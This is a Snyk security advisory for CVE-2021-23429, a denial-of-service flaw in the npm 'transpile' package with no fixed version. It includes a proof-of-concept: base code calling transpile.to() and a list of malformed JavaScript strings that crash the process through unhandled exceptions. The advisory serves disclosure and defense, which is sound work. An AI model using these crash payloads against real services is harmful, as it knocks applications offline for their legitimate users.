Denial of Service (DoS)

Affecting transpile package, versions *

INTRODUCED: 11 MAY 2021 CVE-2021-23429 CWE-400 FIRST ADDED BY SNYK

Share

How to fix?

There is no fixed version for `transpile`.

Overview

transpile is a Transpiles JavaScript modules from one format to another.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the `.to()` function.

PoC

Base code:

```
var transpile = require('transpile'); data = <string_here> transpile.to({ name: "mod", source: data, metadata: {format:
"cjs"} }, "amd")
```

Possible payloads to replace `<string_here>`:

```
Rest parameter must be last formal parameter "o=(...D (...D wwequ 7equire'foo')"
Invalid regular expression "!/var foo =var foo = require(var foo = require('fovar foo = require('foo')"
Invalid left-hand side in for-loop "for ('ofq(foo,reqor ('of"
Octal literals are not allowed in template strings. "v`rcCoo('fk\7oo')"
Invalid left-hand side in assignment "var foo = ~e = foo equ= equi"
Invalid left-hand side in for-in "for(fn^t in^suiS\re"
Unexpected quasi ... "var
  foo =i,var
fo"
Unexpected Number "var foo 5 reouire('fqo')"
Unexpected token ILLEGAL "re('fooqWb resuYxS\re)'"
Label '...' has already been declared "r; reqa: reqa:e;oo ; ; reqrequirr('fsreRo')"
Unexpected end of input "ir%(f= r,)/"

Unexpected string "v')ar foo = require('fooequi')"
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

References

- Vulnerable Code

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
User Interaction	Required
Availability	HIGH

See more

NVD 7.5 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Denial of Service (DoS) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JS-TRANSPILE-1290774
Published	22 Aug 2021
Disclosed	11 May 2021
Credit	Anish Sujanani

Report a new vulnerability | Found a mistake?

Snyk Container

Snyk Infrastructure as Code

Test with Github

Test with CLI

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Join the >> community

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.